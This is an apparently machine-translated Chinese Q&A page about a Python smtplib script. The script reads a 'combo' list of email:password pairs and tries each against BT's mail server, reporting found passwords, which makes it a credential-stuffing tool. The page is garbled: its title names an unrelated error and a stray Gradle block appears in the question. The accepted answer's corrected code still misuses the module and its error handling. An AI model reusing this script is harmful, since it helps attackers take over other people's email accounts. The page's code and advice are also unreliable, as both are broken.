为什么我要恢复AttributeError:'int'对象没有属性'find'?

时间:2017-10-24 17:50:16

标签: python smtp

compileJava   {
    sourceCompatibility = '1.7'
    targetCompatibility = '1.7'
}

这是我的代码。它检查文件中的电子邮件/密码组合列表,以查看它是否在特定服务器上(在我的案例中为BT)。

但是我的库名有问题,我不知道该用什么。我检查了python文档,但它不够清楚,如果有人能告诉我什么是不正确的我会深深体会到它。

收到错误。 这也会给我错误的其他库名

import smtplib

smtpserver = s.connect("mail.btinternet.com", 465)
SMTP.helo("mail.btinternet.com")
SMTP.ehlo("mail.btinternet.com")

file = open("Combo.txt", "r") 

for line in file:
    x = line.split(":")
    user = x[0]
    password = x[1]

    s.login(user, password)
    print("[+] Password Found: %s" % password)

    if smtplib.SMTPAuthenticationError:
      print("Incorrect")

1 个答案:

答案 0 :(得分:0)

对于您的问题,我认为您的库无法正常工作的原因是因为您不一致地调用导入的库:

e.g。有时您输入' s.xxxxx',有时您输入' SMTPlib.xxxxx'对于您的模块属性,您应该将smtplib导入为' s。

那么这是什么呢?它以一种名为' s'的简短形式存储库,因此无论何时调用模块或使用库中的函数,您都不必键入完整' .smtplib'但只需输入一个' .s'特定功能背后的扩展:

import smtplib as s

smtpserver = s.connect("mail.btinternet.com", 465)
s.helo("mail.btinternet.com")
s.ehlo("mail.btinternet.com")

file = open("Combo.txt", "r") 

for line in file:
    x = line.split(":")
    user = x[0]
    password = x[1]

    s.login(user, password)
    print("[+] Password Found: %s" % password)

if s.SMTPAuthenticationError:
    print("Incorrect")

现在应该解决你的问题。记得以一致的方式调用特定库名称中的函数(' s')。